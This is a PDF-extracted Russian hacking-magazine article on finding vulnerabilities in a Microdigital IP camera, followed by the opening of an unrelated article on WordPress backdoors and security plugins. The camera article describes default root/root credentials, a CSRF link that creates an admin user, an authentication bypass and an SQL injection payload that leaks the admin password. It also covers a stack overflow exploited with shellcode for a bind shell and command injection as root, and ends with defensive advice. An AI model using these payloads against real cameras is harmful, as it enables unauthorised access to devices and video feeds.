.
по чер пнуть  на  сай те  про изво‐ 

дите ля

Кар тинки по зап росу MDC‐N4090W

ИЗУЧЕНИЕ КАМЕРЫ
На чинать  любое  иссле дова ние  железа  луч ше  все го  с  изу чения  дос тупной
докумен тации.

От кры ваем  , получен ный на сай те Microdigital, и узна ем, что у камеры есть
веб‐интерфейс с поль зовате лями root (пароль root) и anonymous.

PDF

Ну  и  раз  уж  мы  на  сай те  ком пании,  прих ватим  акту аль ную  про шив ку
для  камеры.  Дол го  искать  не  приш лось,  она  дос тупна  в  соот ветс тву ющем
раз деле.

Не факт,  прав да,  что  в  про шив ке  содер жится  вся  нуж ная  для  тес тирова ния
информа ция, поэто му смысл ее изу чать будет, толь ко если нет пол ноцен ного
админ ско го  дос тупа  в  кон соль  устрой ства  либо  ког да  надо  изу чить  апдейт.
Поэто му не будем сей час тра тить вре мя и вер немся к про шив ке поз же.

Продолжение статьи →

mailto:drakylar@gmail.com
https://xakep.ru/tag/mirai/
http://www.microdigital.ru/products/view/2441
http://microdigital.ru//upload/iblock/f0f/MD-IPC-N-1508%20Rev.2_RUS_site.pdf
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ПОПУЛЯРНОЙ IP‐КАМЕРЫ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ПОДГОТОВКА УСТРОЙСТВА К ТЕСТИРОВАНИЮ
Прис тупим  к  изу чению  аппа рат ной  сос тавля ющей.  Для  это го  раз бира ем
устрой ство (ничего слож ного, четыре вин та по перимет ру) и получа ем печат‐ 
ную пла ту.

Так же видим сле дующее:
па мять S34ML01G100TF100;•
чип DM368ZCE;•
ин терфей сы: четыре пина UART, USB, MicroSD, Ethernet.•

Пи ны, отме чен ные как BLE, я не рас смат риваю, так как это, ско рее все го, кон‐ 
такты для под клю чения модуля Bluetooth. Нас это в дан ный момент не инте‐ 
ресу ет.

Мо дуль  S34ML01G100TF100  —  энер гонеза виси мая  NAND‐память  в  кор‐ 
пусе  TSOP‐48.    лег ко  гуг лится.  Из  него  узна ем  под робнее  о  типе
кор пуса (NAND08) и раз мере хра нили ща — 128 Мбайт.

Datasheet

Для даль нейшей работы пот ребу ется сде лать бэкап дан ных, что бы в слу‐ 
чае  «окир пичива ния»  камеры  мож но  было  вер нуть  ее  в  изна чаль ное  сос‐ 
тояние.  Для  это го  иде аль но  под ходит  прог рамма тор  ProMan
TL86 или TL866 с переход ником NAND08 → DIP48.

Со дер жимое флеш‐памяти  сох раним  в  нашу рабочую дирек торию.  Как  и
к  про шив ке,  воз вра щать ся  к  ней  нуж но  будет  толь ко  в  том  слу чае,  если
не вый дет дор вать ся до админ ской кон соли.

Кар тинки по зап росу tl86

Для  чипа  DM368ZCE  тоже  не  сос тавило  проб лем  нагуг лить  докумен тацию
( ).  Ока зыва ется,  архи тек тура  чипа —  ARM.  К  тому  же  из  докумен тации
мож но дос тать его рас пинов ку, но нам она не пот ребу ется.
PDF

Прой дем ся по интерфей сам. Из докумен тации оче вид но, что USB и MicroSD
нуж ны в основном для того, что бы под клю чать к устрой ству внеш ние носите ли
и исполь зовать их  в  качес тве  хра нили ща. Для пол ноты  кар тины можем под‐ 
клю чить к устрой ству USB‐фаз зер facedancer21 и, исполь зуя ути литу umap2s‐
can, получить спи сок под держи ваемых устрой ств.

К сожале нию, камера не под держи вает ни одно из извес тных нам устрой ств.
Как нас чет UART? Тут пред сто ит опре делить, за что отве чает каж дый пин

и  какова  ско рость  переда чи  дан ных.  Для  это го  вос поль зуем ся  логичес ким
ана лиза тором  Saleae  Logic.  Для  удобс тва  я  под клю чил ся  через  про водок,
который соеди няет пла ту устрой ства и инфрак расные лам почки.

Про нуме руем пины для удобс тва.

Преж де чем вклю чать логичес кий ана лиза тор, под клю чаем зазем ление к пину
GND интерфей са для под клю чения BLE.

Те перь  вклю чаем логичес кий ана лиза тор и  само  устрой ство и  смот рим,  что
из это го вый дет.

Пос ле  вклю чения  устрой ства  на  пине  номер  3  (в  прог рамме  отсчет  идет
с  нуля  и  пин  нумеро ван  как  2)  переда ются  бинар ные  дан ные.  Этот  пин
интерфей са UART отве чает за переда чу дан ных (TX). Прос мотрев дли ну одно‐ 
го бита, получа ем текущую ско рость переда чи — 115 200 бит/с. При кор рек‐ 
тных нас трой ках мы даже можем раз гля деть часть тек ста.

У  пина  под  номером  1  пос тоян ное  нап ряжение  3  В  —  сле дова тель но,  он
пред назна чен  для  питания.  Пин  номер  4  свя зан  с  пином  GND  интерфей са
для под клю чения модуля BLE. Зна чит, этот пин тоже «зем ля». И оста ется пос‐ 
ледний пин под номером 2, он отве чает за при ем бай тов (RX). Теперь у нас
есть  вся  информа ция  для  обще ния  с  камерой  по UART. Для  под клю чения  я
вос поль зуюсь Arduino UNO в режиме переход ника TTL.

На чина ем монито рить порт UART и получа ем сле дующее.

При  стар те  устрой ства  пер вым  делом  под гру жает ся  заг рузчик  сис темы  U‐
Boot. К сожале нию, на уров не заг рузки пин TX отклю чен в нас трой ках камеры,
поэто му мы можем наб людать толь ко отла доч ный вывод. Через какое‐то вре‐ 
мя  под гру жает ся  основная  сис тема,  поз воля ющая  ввес ти  логин  и  пароль
для дос тупа в адми нис тра тор скую кон соль. Пара  root/root  (ана логич ная  той,
что  исполь зует ся  для  веб‐админки  и  ука зана  в  докумен тации)  прек расно
подош ла.

По лучив кон соль, мы можем изу чить все работа ющие сер висы. Но не забыва‐ 
ем,  что  у  нас  есть  еще  один  неизу чен ный  интерфейс  —  Ethernet.  Для  его
иссле дова ния нуж но будет под готовить сис тему монито рин га тра фика. При‐ 
чем важ но отсле живать пер вое же под клю чение к сети.

INFO

Мы  дол жны  начать  перех ватывать  тра фик  сра зу,
пос коль ку некото рые устрой ства при пер вом под‐ 
клю чении  начина ют  ска чивать  обновле ния.
Не факт, что в сле дующие разы получит ся перех‐ 
ватить ком муника ции.

Для перех вата тра фика я буду поль зовать ся устрой ством Lan Tap Pro.

Ни какой  свя зан ной  с  обновле ниями  активнос ти мы,  впро чем,  не  обна ружи‐ 
ваем.  На  этом  раз ведка  закон чена,  и  мы  пол ностью  готовы  к  поис ку  уяз‐ 
вимос тей!

СЕТЕВАЯ ЧАСТЬ
Прос каниру ем пор ты ути литой Nmap и получим спи сок откры тых пор тов.

Прой дем ся вкрат це по дос тупным нам сер висам.

FTP
При  под клю чении  сер вис  зап рашива ет  логин  и  пароль.  Ано ним ный  вход
отклю чен. Но и тут подошел вари ант root/root!

Те перь мы можем заходить в любую дирек торию и получи ли удоб ный спо соб
закиды вать фай лы на уда лен ный хост.

Telnet
При  под клю чении  по  Telnet  опять  же  тре бует ся  логин  и  пароль  одно го
из реаль ных акка унтов и уже не в пер вый раз под ходит пара root/root. Обра ти
вни мание,  что  нам  теперь  не  нуж на  кон соль  UART,  так  как  все  то  же  самое
мож но делать уда лен но по Telnet.

RTSP
Для под клю чения к RTSP опять же нуж но авто ризо вать ся как root/root. Ссыл ка
для  под клю чения  при нима ет  вид 

.
rtsp://root:root@192.168.1.151:554/

Primary
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ВСКРЫТАЯ КАМЕРА
КАК ИСКАТЬ УЯЗВИМОСТИ

В «УМНЫХ» ГАДЖЕТАХ НА ПРИМЕРЕ
ПОПУЛЯРНОЙ IP‐КАМЕРЫ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Веб
Изу чив устрой ство веб‐сер вера камеры, я сос тавил вот такую схе му.

На сер вере находят ся скрип ты на PHP и CGI‐при ложе ния, которые обща ются
с  исполня емы ми  фай лами  из  дирек тории    (пре иму щес‐ 
твен но обще ние идет с  ). Для хра нения всех нас тро ек исполь зует ся
база дан ных SQLite 3.

/usr/local/ipsca/
MainProc

С нее‐то мы и нач нем искать  уяз вимос ти. База дан ных  хра нит ся  в 
. В ней лежит все — от логов сис темы до нас тро ек

авто мати чес кой  заг рузки  записей  камеры  на  уда лен ный  сер вер.  Струк тура
базы дан ных вид на на скри не ниже.

/usr/
local/ipsca/mipsca.db

Мое  вни мание  прив лекла  таб лица  User.  Она  отве чает  за  работу  с  дан ными
поль зовате лей: логин, пароль, при виле гии.

Па роль поль зовате ля хра нит ся в колон ке Password в  за шиф рован ном виде,
то есть, получив дос туп к базе дан ных, зло умыш ленник может узнать пароль
адми нис тра тора и про тес тировать его на дру гих дос тупных сер висах.

не

Пе рехо дим  к  скрип там  на  PHP.  В  веб‐дирек тории 
 лежит три скрип та:  ,  ,  .

/root/httpd/htdocs/
Web download.php login.php upload.php

Файл   не осо бен но инте ресен, так как PHP тут исполь зует ся толь ко
для  нас трой ки  ком понен та  ActiveX,  нуж ного  для  бра узер ных  допол нений,
которые стри мят видео на сай те.

login.php

Файл   при нима ет на вход наз вание фай ла для ска чива ния, про‐ 
веря ет  его  рас ширение  и,  если  такой  файл  най дет ся  в  пап ке  ,
отправ ляет в ответ его содер жимое.

download.php
updownload

В скрип те нет про вер ки наз вания фай ла, так что если кто‐то вдруг решит
положить  в  этот  каталог  исполня емый  скрипт  на  PHP,  то  его  содер жимое
при  зап росе  будет  ска чивать ся  (обра ти  вни мание  на  перемен ную 

, которая будет пус той в слу чае неиз вес тно го рас ширения).
$file_‐

type

Пос ледний файл —   тоже ока зал ся не без багов: в нем есть воз‐ 
можность отправ лять фай лы не толь ко с рас ширени ем из белого спис ка (.dat
и .DAT), но и с пус тым рас ширени ем.

upload.php

Вай тлист рас ширений зада ется сле дующей стро кой.

Те перь,  если  зна чение  рас ширения  не  пус тое,  про водит ся  про вер ка
на наличие рас ширения в мас сиве, который получен из  . В качес‐ 
тве раз делите ля исполь зует ся запятая.

$allowExt

Но если рас ширение пус тое, исполне ние не дой дет до это го усло вия и про‐ 
вер ка не выпол нится. Одна ко для экс плу ата ции этот баг бес полезен.

А  вот  сле дующий  слу чай но  най ден ный  баг  это го  скрип та  уже  сто ит  рас‐ 
ценить как уяз вимость: здесь отсутс тву ет про вер ка на дли ну наз вания фай ла.
Казалось бы,  не очень серь езная проб лема,  но  в  начале прог раммы запус‐ 
кает ся скрипт на Bash.

Он очи щает дирек торию   от ранее заг ружен ных туда фай лов, а в
интер пре тато ре Bash, который вхо дит в BusyBox, сто ит огра ниче ние на дли ну
наз вания фай ла  в 256 сим волов. Получа ется,  что скрипт не смо жет  уда лить
фай лы, наз вания которых длин нее это го зна чения.

updownload

Так как у   нет никакой авто риза ции, любой поль зователь может
заг рузить сколь ко угод но фай лов с име нем длин нее 256 сим волов, и это при‐ 
ведет  к  запол нению  всей  памяти  устрой ства.  Дру гими  сло вами,  Denial
of Service.

upload.php

При мер заг рузки фай ла.

И получе ние спис ка фай лов в дирек тории   через кон соль Bash./updownload/

На этом мы можем завер шить изу чение скрип тов на PHP и перей дем к самой
боль шой час ти иссле дова ния — CGI‐при ложе ниям.

При ложе ния CGI на IP‐камере отве чают чуть ли не за все дей ствия в адми‐ 
нис тра тор ской  веб‐панели,  начиная  с  авто риза ции  и  закан чивая  обновле‐ 
нием устрой ства.

Я  раз делю  опи сание  работы  на  тес тирова ние  «нево ору жен ным  гла зом»
(уяз вимос ти, для нахож дения которых не нуж но ревер сить исполня емые фай‐ 
лы) и собс твен но реверс этих самых бинарей.

При  тес тирова нии  «нево ору жен ным  гла зом»  наш лись  две  уяз вимос ти.
Пер вая поз воля ет про водить ата ки под делки меж сай товых зап росов (то есть
CSRF).  Ее  суть  зак люча ется  в  том,  что мож но  при менить  соци аль ную  инже‐ 
нерию  и  зас тавить  адми нис тра тора  перей ти  по  вре донос ной  ссыл ке.
Это  дает  воз можность  выпол нить  поч ти  любую  коман ду  из  админ ско го
интерфей са. Нап ример, мож но сде лать вот такую ссыл ку:

/webparam?user&action=set&param=add&id=tester&pass=cGFzc3dvcmQ=&
authority=0&t=1552491782708

Она будет соз давать поль зовате ля tester с паролем password.

Ког да я изу чал тра фик в Burp Suite, я дол го не мог най ти ответ сер вера, где
бра узе ру высыла ются cookie с дан ными авто риза ции (username, auth и pass‐
word). Ока залось, что искал зря: эти дан ные выс тавля ются на сто роне кли ента
через код на JavaScript в фай ле  ./inc/js/ui.js

То есть бра узер сна чала дела ет зап рос на про вер ку логина и пароля и, если
резуль тат положи тель ный, сох раня ет  зна чения логина, пароля и при виле гий
в  соот ветс тву ющие  cookie.  А  даль ше  эти  куки  исполь зуют ся  при  отправ ке
коман дных зап росов, нап ример при соз дании нового поль зовате ля.

Тут‐то  и  появ ляет ся  вто рая  уяз вимость:  даже  если  мы  не  отпра вим  cookie‐
перемен ную password, сер вер все рав но успешно обра бота ет наш зап рос!

То есть дос таточ но знать логин адми на (который по умол чанию — root), что бы
обой ти авто риза цию и совер шать любые вызовы, дос тупные адми нис тра тору
в  адми нис тра тив ной  веб‐кон соли  камеры!  И  это  мы  наш ли,  даже  не  изу чая
код при ложе ния. Пос мотрим, что же будет в самом коде.

ИЗУЧЕНИЕ БИНАРНЫХ ПРИЛОЖЕНИЙ
Для изу чения исполня емых фай лов пот ребова лись некото рые при готов ления.
А имен но:

ус танов ка  ста тичес ки  ском пилиро ван ного  отладчи ка  GDB  из  пуб личных
репози тори ев на GitHub;

•

ус танов ка  кар точки  MicroSD  с  фай ловой  сис темой  VFAT  (что  поз воля ет
получить допол нитель ное мес то).

•

Сам про цесс иссле дова ния ском пилиро ван ных при ложе ний выг лядит так.
1. Изу чение при ложе ния в IDA Pro.
2. При необ ходимос ти — отладка при ложе ния в GDB на самой камере через
Telnet.  Кста ти,  пос коль ку  при ложе ние  мно гопо точ ное,  приш лось  каж дый
раз  про верять  нуж ный  process  id  для  вза имо дей ствия  с  опре делен ным
потоком (поток соз дает ся до обра бот ки зап роса).

3. На писа ние proof‐of‐concept для демонс тра ции уяз вимос ти.

Поч ти все коман дные веб‐зап росы отправ лялись по адре су  . Изу‐ 
чив  нас трой ки  httpd,  которые  хра нят ся  в  фай ле 

, опре деля ем, что все зап росы на   перенап равля ются
в  исполня емый  файл  FCGI  по  пути 

.

/webparams
/usr/local/httpd/conf/

httpd.conf /webparam
/usr/local/httpd/fcgi/webparams.

fcgi

Это исполня емый файл для 32‐бит ного ARM. На нем‐то я и решил скон цен‐ 
три ровать ся.

Про изволь ные коман ды FTP
Ка мера  может  отправ лять  записи  на  уда лен ный  сетевой  FTP‐сер вер.
Для нас трой ки кон фигура ции под клю чения есть отдель ная веб‐фор ма.

Да лее мож но нажать на кноп ку Test и про верить соеди нение. Будет выз вана
фун кция по адре су  . Для удобс тва будем изу чать псев докод фун кции,
получен ный при помощи Hex‐Rays Decompiler.

0xaeb0

1. Соз дание под клю чения.

2. Ав ториза ция на FTP‐сер вере.

3. Сме на текущей дирек тории зна чени ем, передан ным аргу мен том.

4. Соз дание вре мен ного фай ла.

Проб лема безопас ности обна ружи лась  уже на  треть ем пун кте. Фун кция 
,  находя щаяся  по  сдви гу  ,  не  про веря ет  наличие  в  стро ке‐пути

некор рек тных сим волов, таких как перенос стро ки.

ft‐
p_CWD 0xA9F0

Это  поз воля ет  отправ лять  про изволь ные  коман ды  FTP  —  дос таточ но
добавить бай ты   в зна чение дирек тории для заг рузки фай лов. Зна чит, мы
наш ли SSRF.

\r\n

Нап ример,  мож но  сде лать  зап рос  к  FTP‐сер веру  камеры  и  добавить
к  нему  коман ду,  которая  соз дает  дирек торию    (GET‐перемен ная

 как раз отве чает за путь до тре буемой дирек тории).
/tmp/123

uploadpath

Пе рехо дим в   на камере и видим соз данную пап ку  ./tmp/ 123

Path Traversal и про вер ка наличия фай лов
Сле дующая инте ресу ющая нас воз можность веб‐сер вера — син хро низа ции
часов по про токо лу NTP.

За  изме нение  парамет ров  отве чает  фун кция  по  сдви гу  .  Не  будем
вда вать ся  деталь но  в  прин цип  ее  работы,  обра тим  лишь  вни мание
на перемен ную   (Time Zone).

0x12564

TZ
1. Пер вые 32 бай та GET‐парамет ра   заносят ся в перемен ную  .TZ get_TZ_32b

2. Зна чение кон катени рует ся с путем до дирек тории, где хра нят ся нас трой ки
вре мен ных  зон,  и  про веря ется  наличие  такой  дирек тории  (или  фай ла)
в фай ловой сис теме устрой ства.

3. В слу чае успе ха далее идут раз ные дей ствия, на выпол нение которых нуж‐ 
но вре мя. Нап ример, зап росы в базу дан ных.

Ес ли  объ еди нить  все  три  пун кта,  то  получит ся,  что  мы  можем  не  толь ко
манипу лиро вать  пол ным  адре сом  дирек тории  (Path  Traversal),  но  и  опре‐ 
делять по отве ту от сер вера наличие фай ла в фай ловой сис теме. Что бы удос‐ 
товерить ся  в  этом,  отправ ляем  зап рос,  который  про верит,  сущес тву ет  ли
файл  ./etc/passwd

И пос мотрим, что будет, если фай ла нет.

Продолжение статьи →



ВСКРЫТАЯ КАМЕРА
КАК ИСКАТЬ УЯЗВИМОСТИ

В «УМНЫХ» ГАДЖЕТАХ НА ПРИМЕРЕ
ПОПУЛЯРНОЙ IP‐КАМЕРЫ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

SQL-инъ екция
Пе рехо дим  к  более  серь езным  уяз вимос тям.  Кон фиги  камеры  хра нят ся
в базе SQLite 3, и поч ти все дей ствия на веб‐сер вере при водят к вза имо дей‐ 
ствию с ней. Так вот, ока залось, что поч ти все зап росы к базе дан ных со стро‐ 
ковы ми парамет рами могут про ходить с некор рек тно фор матиро ван ным вво‐ 
дом. А это, как ты мог догадать ся, SQL injection! Для при мера раз берем одну
из уяз вимых форм — фор му редак тирова ния нас тро ек DNS.

При  редак тирова нии  этих  парамет ров  отправ ляют ся  два  зап роса  на  сер‐ 
вер — зап рос на модифи кацию информа ции и зап рос на получе ние текущих
нас тро ек.

При мер зап роса на модифи кацию информа ции.

За обра бот ку такого зап роса отве чает фун кция по сдви гу  . В начале
идет  счи тыва ние GET‐парамет ров  зап роса  (до  32  байт  каж дый)  и  про вер ка
того, запол нены ли они.

0x18374

Да лее  —  вызов  фун кции  ,  которая  уби рает  сим волы  «про бел»
и «табуля ция» в начале и в кон це строк.

strip

Те перь  получен ные  стро ки  отправ ляют ся  в  фун кцию,  которая  дела ет  SQL‐
зап рос   к базе дан ных SQLite 3.Update

Проб лема  в  том,  что  при  переда че  строк  исполь зует ся  не    (безопас ный
вари ант), а  , в свя зи с чем мы можем вый ти за пре делы стро ки и добавить
свои  SQL‐инс трук ции  в  зап рос  (кста ти,  если  отправ ляет ся  целочис ленный
параметр, то луч ше все го исполь зовать  ).

%q
%s

%d
Ни же — при мер экс плу ата ции.

Во вре мя обра бот ки это го зап роса соз дает ся сле дующая коман да SQL.

Update Network set DDNSUsage=1, DDNSHostname='', DDNSName=(select/
*', DDNSName='*/Password from/*', DDNSUserName='*/User limit 1) ‐‐ 
', DDNSPassword='***'

Этот  зап рос  запишет  пароль  откры тым  тек стом  в  поле DDNSName  пер вого
акка унта из таб лицы User. Оста ется зап росить текущие нас трой ки DDNS.

В резуль тате мы получи ли зна чение пароля пер вого поль зовате ля из таб лицы
User — в нашем слу чае это root/root. Если учесть, что до это го мы наш ли спо‐ 
соб  обхо да  авто риза ции,  получа ется,  пароль  адми на  может  узнать  любой
неав торизо ван ный поль зователь.

Ана логич ную  проб лему  мож но  наб людать  еще  у  25  раз личных  GET‐
парамет ров,  раз бро сан ных  по  все му  веб‐сер веру  (часть  парамет ров  тре‐ 
бует ся пред варитель но кодиро вать в Base64).

Пе репол нение сте ка
Ког да я переби рал парамет ры, под вержен ные ата кам типа SQL injection, мое
вни мание  прив лекла  фун кция,  которая  обра баты вает  перемен ную  ,
рас положен ную  по  сме щению  .  Начало  псев докода  фун кции  —
на скрин шоте.

action
0x155D0

На 78‐й стро ке вызыва ется фун кция  . Она в качес тве аргу мен та при‐ 
нима ет  стро ку  —  наз вание  GET‐перемен ной  и  воз вра щает  стро ку  —  зна‐ 
чение этой перемен ной.

GET_val

Да лее  вызыва ется фун кция  ,  которая  при нима ет  на  вход  два  ука‐ 
зате ля на стро ки и записы вает по пер вому ука зате лю резуль тат кон катена ции
этих  двух  строк.  Проб лема  зак люча ется  в  том,  что  фун кция    может
вызывать ошиб ку перепол нения буфера. Ошиб ка воз ника ет при усло вии, что
выделен ной  памяти  на  сте ке  для  пер вой  перемен ной  не  будет  хва тать
для  хра нения  резуль тата  сло жения  двух  строк  и  про изой дет  перепол нение
сте ка.

strcat

strcat

Пер вый аргу мент фун кции был объ явлен на 53‐й стро ке.

Для этой стро ки выделя ется четыре бай та, а потом в пер вую ячей ку помеща‐ 
ется нулевой байт, обоз нача ющий ее окон чание.

Вы ходит, что для перепол нения сте ка пот ребу ется в аргу мен ты фун кции 
 отпра вить две стро ки. Тог да дли на вто рой стро ки будет боль ше трех байт

(чет вертый байт нулевой и выс тавля ется авто мати чес ки).

str‐
cat

Пе рехо дим  в  ста дию  экс плу ата ции  най ден ной  уяз вимос ти.  Для  начала
про веря ем, какие защиты вклю чены у исполня емо го фай ла.

Флаг  NX  отклю чен,  а  это  зна чит,  что  мож но  исполнить  код,  рас положен ный
в любой области памяти, — в том чис ле тот, который мы раз местим в про цес‐ 
се работы.

Так же  про верим,  вклю чена  ли  в  сис теме  тех нология  ран домиза ции
адресно го прос транс тва.

Флаг    озна чает,  что  адрес  сте ка  будет  слу чай ным  при  каж дом  запус ке.
Но  изна чаль но  вто рой  аргу мент  фун кции    (то  есть  аргу мент  GET‐
перемен ной  action)  записы вает ся  в  кучу,  а  зна чит,  мы  можем  им  вос поль‐ 
зовать ся.

1
strcat

При отладке прог раммы ока залось, что адрес воз вра та фун кции, которая
вызыва ет  , хра нит ся со сдви гом в 52 бай та.strcat

Удос товерить ся в этом мож но, отпра вив сле дующий зап рос.

При отладке про цес са исполня емо го фай ла   получа ем ошиб‐ 
ку прог раммы, которая пыта ется перей ти по адре су  .

webparam.fcgi
BBBB

Те перь  оста ется  дописать  исполня емый  код  (шелл‐код)  пос ле  адре са  воз‐ 
вра та и  переза писать адрес воз вра та  на адрес нашего вре донос ного  кода,
который  хра нит ся  на  куче.  В  при мере  исполь зует ся  исполня емый  код,
который откры вает порт   и дает дос туп в коман дную обо лоч ку без авто‐ 
риза ции (Bind Shell).

10240

Зап рос с переза писы вани ем адре са воз вра та на адрес шелл‐кода
(0x00058248)

Про веря ем сетевую активность на устрой стве.

Про цесс  1263  прог раммы    начал  прос лушивать
порт 10240 на всех интерфей сах. Под клю чим ся к нему через  .

webparam.fcgi
netcat

Нам дос тупен шелл с при виле гиями поль зовате ля nobody.
Ана логич ная  проб лема  перепол нения  буфера  и  у  перемен ной  .

Спо соб экс плу ата ции не силь но отли чает ся от опи сан ного, поэто му не будем
на нем оста нав ливать ся.

params

Под мена фай ла про шив ки
Од на из самых популяр ных проб лем у устрой ств IoT — это отсутс твие 
у  фай ла  про шив ки.  Конеч но  же,  она  не  обош ла  и  эту  камеру.  Что  это  нам
дает?  Все  прос то:  мы  можем  добавить  свой  код  в  про шив ку  устрой ства
и  таким  обра зом  заразить  его,  при чем  так,  что  вос ста нов ление  будет  воз‐ 
можно, толь ко если име ется дамп памяти, а есть он (и необ ходимые навыки)
далеко не у любого вла дель ца.

подписи

Ад минис тра торам  устрой ства  дос тупен  интерфейс  для  обновле ния  про‐ 
шив ки (вни зу стра ницы).

Тут  самое  вре мя  вспом нить  про  файл  про шив ки,  который  мы  ска чива ли
с офи циаль ного сай та в самом начале статьи.

Это .tar, в котором лежат фай лы   и 
. Вто рой, в свою оче редь, ока зал ся архи вом.

PackageInfo.txt UpdatePackage_6400.0.
8.5.bin

Пос ле рас паков ки нам ста ла дос тупна сле дующая фай ловая иерар хия.

В дирек тори ях хра нят ся все те же фай лы, что и в фай ловой сис теме камеры.
То есть мы можем под менить один из  них,  упа ковать  про шив ку  и отпра вить
в  качес тве  обновле ния.  Но  нуж но  еще  заг лянуть  в  файл  ,
дос тупный пос ле пер вого разар хивиро вания.

PackageInfo.txt

На  вось мой  стро ке  ука зыва ется  кон троль ная  сум ма  фай ла  .bin.  То  есть
это поле тоже пот ребу ется отре дак тировать при отправ ке кас томной про шив‐ 
ки, ина че камера пос чита ет файл пов режден ным и сис тема обновле ний про‐ 
игно риру ет  его.  Эту  уяз вимость  мож но  отнести  к  типу  RCE  —  уда лен ное
исполне ние про изволь ных сис темных команд.

По выше ние при виле гий
На пос ледок — еще одна уяз вимость того же типа, но уже с повыше нием при‐ 
виле гий  до  root!  Если  вста вить  в  камеру  кар точку  MicroSD,  то
из веб‐интерфей са мож но уда лять фай лы с нее.

При уда лении фай ла бра узер отправ ляет по HTTP вот такой зап рос.

За  обра бот ку  зап роса  на  сто роне  сер вера  отве чает  все  то  же  при ложе ние
, но в дан ном слу чае оно переда ет его в дру гую прог рамму —

. Это тоже бинар ное при ложе ние.
webparam.fcgi
MainProc

Изу чив  ,  я  опре делил,  что  GET‐перемен ная    объ еди‐ 
няет ся со стро кой и переда ется в фун кцию   без какой‐либо филь тра‐ 
ции. А это озна чает, что мож но исполнять про изволь ный код от име ни поль‐ 
зовате ля, который запус тил  , то есть root.

MainProc filename
system

MainProc

Proof‐of‐concept: соз даем файл   со стро кой  ./tmp/test.txt hacking

В совокуп ности с обхо дом авто риза ции этот баг поз воля ет зло умыш ленни ку
получить  кон троль  над  любой  камерой  с  откры тым  веб‐интерфей сом.  И,
впол не веро ятно, исполь зовать его для даль нейших атак.

ПОДВОДИМ ИТОГИ
Во вре мя иссле дова ния было обна руже но более десяти раз ных, в том чис ле
и кри тичес ких уяз вимос тей IP‐камеры Microdigital. Пол ный спи сок из две над‐ 
цати CVE ты можешь най ти  .по ссыл ке

Важ ный  момент  в  том,  что  файл  про шив ки,  пре дос тавлен ный  про изво‐ 
дите лем на сай те, общий для всех шес ти IP‐камер серии N. И веро ятнее все‐ 
го,  часть  най ден ных  уяз вимос тей  при сутс тву ют  и  в  дру гих  устрой ствах  Mi‐
crodigital, которых, как говори лось в начале статьи, «свы ше 150 моделей»!

Так же сто ит упо мянуть, что на кон ферен ции Positive Hack Days 8 был кон‐ 
курс  на  взлом  IP‐камер —  .  Сре ди  подопыт ных  чис лилась  и  эта
модель. Одним  из  при зеров  кон курса  был Иван  Ани сеня,  который,  как  ока‐ 
залось,  еще  в  прош лом  году  нашел  уяз вимость  внед рения  про изволь ных
SQL‐зап росов и с ее помощью обо шел авто риза цию на этой камере.

CAMBreaker

Ос тает ся  живот репещу щий  воп рос:  как  защитить  периметр  от  зло умыш‐ 
ленни ков, если в нем есть подоб ная камера? Для обес печения безопас ности
нуж но:

ус тановить камеру в физичес ки недос тупном для зло умыш ленни ка мес те;•
вни матель но изу чить докумен тацию;•
от клю чить невос тре бован ные сер висы, нап ример FTP;•
сме нить все пароли и, желатель но, име на поль зовате лей устрой ства;•
зак рыть  на  сто роне шлю за  (чаще  все го  в  роли шлю за  выс тупа ет  роутер)
port‐forwarding до IP‐камеры.

•

Этим  же  спис ком  рекомен даций  мож но  руководс тво вать ся  при  нас трой ке
любого дру гого умно го устрой ства.

https://www.cvedetails.com/product/57491/Microdigital-Mdc-n2190v-Firmware.html?vendor_id=20241
https://www.phdays.com/ru/press/news/konkurs-cambreaker-kak-atakovali-kamery-videonablyudeniya/
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ВЗЛОМ

Wordpress  —  одна  из  самых  рас простра‐ 
нен ных сис тем управле ния сай том и поэто‐ 
му  вызыва ет  прис таль ный  инте рес
у вирусо писа телей и взлом щиков всех мас‐ 
тей.  В  этой  статье  речь  пой дет  о  «зак‐ 
ладках» в коде взло ман ных сай тов, а так же
о тех нологи ях их выяв ления.

Мы  пос мотрим  на  работу  наибо лее  извес тных  пла гинов  безопас ности
для Wordpress в базовой ком плек тации по прин ципу «нашел в репози тории →
уста новил → запус тил», то есть гла зами рядово го поль зовате ля, без плат ных
под писок  и  PRO‐вер сий.  А  еще  рас смот рим  некото рые  мифы,  каса ющиеся
качес тва  пла гинов  и  тем  из  офи циаль ного  репози тория.  «Зак ладки»  будут
самыми прос тыми и без обфуска ции — для удобс тва экспе римен та. При ятно‐ 
го чте ния.

WARNING

Вся  информа ция  в  этой  статье  пре дос тавле на
исклю читель но  в  озна коми тель ных  целях.
Ни редак ция, ни автор не несут ответс твен ности
за любой воз можный вред, при чинен ный матери‐ 
ала ми дан ной статьи. Пом ни, что неп равомер ный
дос туп  к  компь ютер ной  информа ции  и  рас‐ 
простра нение  вре донос ного  ПО  вле кут  ответс‐ 
твен ность сог ласно стать ям 272 и 273 УК РФ.

Ес ли  верить  ста тис тике,  под  управле нием  Wordpress  работа ют  чуть  более
тре ти сай тов в интерне те. Оно и понят но: этот дви жок бес плат ный, под держи‐ 
ваемый  сооб щес твом,  прос той,  с  кучей  пла гинов  и  тем  офор мле ния,
как плат ных,  так и бес плат ных. Но вмес те с эти ми плю сами есть и доволь но
ощу тимый  минус —  безопас ность.  В  боль шинс тве  слу чаев  взло мы  работа‐ 
ющих на Wordpress сай тов носят авто мати зиро ван ный харак тер. При чина это‐ 
го — прос тота при мене ния того или ино го экс пло ита и количес тво уяз вимых
ресур сов.  Wordpress  и  по  количес тву  «про бивов»  так же  уве рен но  дер жит
лидиру ющие позиции, из‐за чего на фри ланс‐бир жах и форумах прак тичес ки
ежед невно  мож но  най ти  объ явле ния  об  оче ред ном  взло ме,  с  прось бами
вычис тить  всю  мал варь  и  вос ста новить  работос пособ ность  пов режден ного
ресур са.

Спе цифи ка Wordpress такова, что осмыслен но модифи циро вать боль шую
часть фай лов ядра бес полез но, так как при обновле нии или фор сирован ной
пере уста нов ке  будут  вос ста нов лены  ори гиналь ные  фай лы,  да  и  пла гины
безопас ности  в  боль шинс тве  сво ем  уже  дав но  уме ют  выяв лять  эти  самые
модифи кации  и  пре дуп реждать  о  них  в  отче тах.  То  же  самое  каса ется  тем
и  пла гинов  из  репози тория:  любые  изме нения  будут  выяв лены  либо  через
срав нение  хеш‐сумм фай лов,  либо  через  дату  изме нения.  Ины ми  сло вами,
при  целенап равлен ном  взло ме  ресур са  эффектив ная  область  зараже ния
